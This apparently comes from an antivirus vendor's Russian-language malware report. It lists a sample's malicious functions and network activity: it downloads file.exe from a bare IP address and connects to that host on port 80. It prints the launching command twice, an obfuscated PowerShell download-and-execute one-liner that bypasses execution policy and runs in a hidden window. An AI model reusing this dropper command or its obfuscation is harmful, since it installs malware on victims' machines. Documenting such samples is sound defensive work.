Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://86.106.131.141/file.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "poWeRsHE^l^l.^exE^ -^EXec^Uti^onP^oli^CY bYPAs^S -N^OPro^fILe -WI^n^Do^WsT^YlE ^h^i^dDeN^ ^(new-^oBj^eCT S^Yst^e^m^.n^et^.WE^b^CLIE^Nt).dOwnl^o^AdFI^lE('http://86.106.131.141...
Сетевая активность
Подключается к
- '86.##6.131.141':80
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "poWeRsHE^l^l.^exE^ -^EXec^Uti^onP^oli^CY bYPAs^S -N^OPro^fILe -WI^n^Do^WsT^YlE ^h^i^dDeN^ ^(new-^oBj^eCT S^Yst^e^m^.n^et^.WE^b^CLIE^Nt).dOwnl^o^AdFI^lE('http://86.106.131.141...' (со скрытым окном)
